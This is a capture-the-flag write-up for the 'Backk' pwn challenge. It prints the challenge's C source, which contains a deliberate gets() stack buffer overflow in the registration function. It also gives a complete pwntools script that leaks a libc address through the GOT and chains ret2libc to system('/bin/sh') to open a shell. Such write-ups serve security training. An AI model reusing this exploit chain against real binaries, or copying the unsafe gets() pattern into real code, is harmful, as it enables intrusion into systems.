Home Backk pcc.nccs.final 2022
Post
Cancel

Backk pcc.nccs.final 2022

Purpose : Get Shell

asciicast

Checking binary security measures.

img_1

Source Code is given. Reading through it we can see the option2 registration function is vulnerable. It uses the gets function which will not see how much value is being fed to it we use it to perform a stack-based buffer overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include <stdio.h>
#include <string.h>

#define SIZE 64

void banner() {
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡴⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⠤⠶⠶⠶⠶⠶⠶⢀⣾⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⣀⡴⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⢠⣿⡿⠀⠙⠳⢦⣀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⣠⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⠃⠀⠀⠀⠀⠉⠳⣄⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⢠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣇⣠⣴⡶⠀⠀⠀⠀⠈⠳⣄⠀⠀⠀\n");
	printf("⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠙⣆⠀⠀\n");
	printf("⠀⣰⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠀\n");
	printf("⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⢿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡄\n");
	printf("⢸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⢠⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡇\n");
	printf("⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⠃⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿\n");
	printf("⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣷⣾⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡿\n");
	printf("⢸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇\n");
	printf("⠈⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠁\n");
	printf("⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠃⠀\n");
	printf("⠀⠀⠘⢧⠀⠀⠀⠀⠀⠀⠘⠋⠉⣼⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡴⠃⠀⠀\n");
	printf("⠀⠀⠀⠈⠳⣄⠀⠀⠀⠀⠀⠀⢰⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠁⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠈⠳⣤⡀⠀⠀⢀⣿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠞⠁⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⠙⠳⠂⣾⣿⠃⠀⠀⠀⠀⠀⠀⢀⣀⣠⡴⠞⠋⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡿⠁⠉⠛⠛⠛⠛⠛⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n");
	printf("⠀⠀⠀⠀⠀⠀⠀⠀                   - TheFlash2k⠀⠀\n");
}

void local_flush(void) {
    int c;
    while((c = getchar()) != '\n' && c != EOF);
}

void secure_input(int* var) {
	fflush(stdin);
	scanf("%d", var);
	local_flush();
}

void login() {
	char userName[SIZE];
	printf("\n\nWelcome to the login screen. Enter your username to continue\n>> ");
	fgets(userName, SIZE, stdin);
	if(strcmp(userName, "admin") != 0) {
		printf("Invalid username entered. Try again.\nIf you have recently registered, we are still working on saving credentials :(\n");
		exit(1);
	}
	else {
		printf("Welcome admin. The portal is still underconstruction so i'd suggest that you leave :(\n");
		exit(0);
	}
}

void _register() {
	char userName[SIZE];
	printf("\n\nWelcome to the Registeration screen. Enter your username to add to database\n>> ");
	fgets(userName, SIZE, stdin);

	if(strcmp(userName, "admin") != 0) {
		printf("User already exists. Please try something else\n>> ");
		gets(userName);
	}
	else {
		printf("Successfully registered as admin!\n");
	}
}

void validate() {
	char userName[SIZE];
	printf("\n\nWelcome to the validation screen. Enter your username to check if it exists\n>> ");
	fgets(userName, SIZE, stdin);
	if(strcmp(userName, "admin") != 0) {
		printf("%s doesn't exist. Maybe because we're not keeping track of what exists and what doesn't :(");
		exit(1);
	}
	else {
		printf("%s is a valid user!\n");
		exit(0);
	}
}


int main(int argc, char* argv[]) {


	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	setbuf(stderr, NULL);

	int uChoice;

	banner();

	printf("Welcome to AUCTF Secure Portal. Please choose one of the following:\n");
	printf("1. Login\n");
	printf("2. Register\n");
	printf("3. Validate\n");
	printf("0. Exit\n\n>> ");

	secure_input(&uChoice);

	while(uChoice < 0 || uChoice > 3) {
		printf("Invalid number entered. Try again\n>> ");
		secure_input(&uChoice);
	}

	printf("User entered: %d\n", uChoice);

	switch(uChoice) {
		case 1:
			login();
			break;
		case 2:
			_register();
			break;
		case 3:
			validate();
			break;
		case 0:
			exit(0);
		default:
			break;
	}

	return 0;

}

Now it’s time to exploit this binary. For that, we will perform ret2libc. For defeating aslr we have to leak the libc function value from got and then use it to get the libc base address afterward all the rest is a piece of cake.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python3
from pwn import *
import struct

def start(argv=[], *a, **kw):
    if args.GDB:  
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        
        return process([exe] + argv, *a, **kw)

exe = './backk'; elf = context.binary = ELF(exe, checksec=False);exe_rop = ROP(elf,checksec=False)
libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False);

def setting_libc(): # Leaking puts addres from got and then transfering execution to main function

    io.sendlineafter(b">>",b"2")
    exe_rop.puts(elf.got.puts)
    exe_rop.main()
    leak =  b"A"*135
    leak += exe_rop.chain()
    io.sendlineafter(b">>",leak)
    io.recvline()
    leak_raw = u32(io.recvline().strip(b">>")[1:5])
    libc.address =  leak_raw - libc.symbols['puts'] 
    
def shell(): # exploiting same vuln to get shell
    libc_rop.system(next(libc.search(b"/bin/sh")))
    libc_rop.exit()
    payload =  b"A"*135
    payload +=libc_rop.chain()
    io.sendlineafter(b">>",b"2")
    io.sendlineafter(b">>",payload)


io = start()
setting_libc()
libc_rop = ROP(libc,checksec=False)
shell()
io.interactive()

This post is licensed under CC BY 4.0 by the author.